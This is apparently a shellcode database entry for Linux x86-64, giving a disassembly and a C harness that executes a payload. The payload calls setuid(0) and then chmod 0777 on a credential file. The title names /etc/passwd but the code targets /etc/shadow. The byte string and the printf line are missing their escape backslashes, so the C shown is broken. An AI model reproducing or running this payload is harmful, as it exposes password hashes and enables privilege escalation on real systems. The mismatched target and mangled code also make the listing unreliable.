Linux/x86-64

/*
Title:  Linux/x86-64 - setuid(0) & chmod ("/etc/passwd", 0777) & exit(0) - 63 byes
Date:   2010-06-17
Tested: Archlinux x86_64 k2.6.33

Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/



  <-- _setuid(0) -->
  400078:  48 31 ff               xor    %rdi,%rdi
  40007b:  48 31 c0               xor    %rax,%rax
  40007e:  b0 69                  mov    $0x69,%al
  400080:  0f 05                  syscall

  <-- _chmod("/etc/shadow", 0777) -->
  400082:  48 31 d2               xor    %rdx,%rdx
  400085:  66 be ff 01            mov    $0x1ff,%si
  400089:  48 bb ff ff ff ff ff   mov    $0x776f64ffffffffff,%rbx
  400090:  64 6f 77 
  400093:  48 c1 eb 28            shr    $0x28,%rbx
  400097:  53                     push   %rbx
  400098:  48 bb 2f 65 74 63 2f   mov    $0x6168732f6374652f,%rbx
  40009f:  73 68 61 
  4000a2:  53                     push   %rbx
  4000a3:  48 89 e7               mov    %rsp,%rdi
  4000a6:  48 31 c0               xor    %rax,%rax
  4000a9:  b0 5a                  mov    $0x5a,%al

  <-- _exit(0) -->
  4000ab:  0f 05                  syscall 
  4000ad:  48 31 ff               xor    %rdi,%rdi
  4000b0:  48 31 c0               xor    %rax,%rax
  4000b3:  b0 3c                  mov    $0x3c,%al
  4000b5:  0f 05                  syscall
*/

#include <stdio.h>


char *SC =  "x48x31xffx48x31xc0xb0x69x0fx05"
            "x48x31xd2x66xbexffx01x48xbbxff"
            "xffxffxffxffx64x6fx77x48xc1xeb"
            "x28x53x48xbbx2fx65x74x63x2fx73"
            "x68x61x53x48x89xe7x48x31xc0xb0"
            "x5ax0fx05x48x31xffx48x31xc0xb0"
            "x3cx0fx05";

int main(void)
{
        fprintf(stdout,"Length: %d
",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}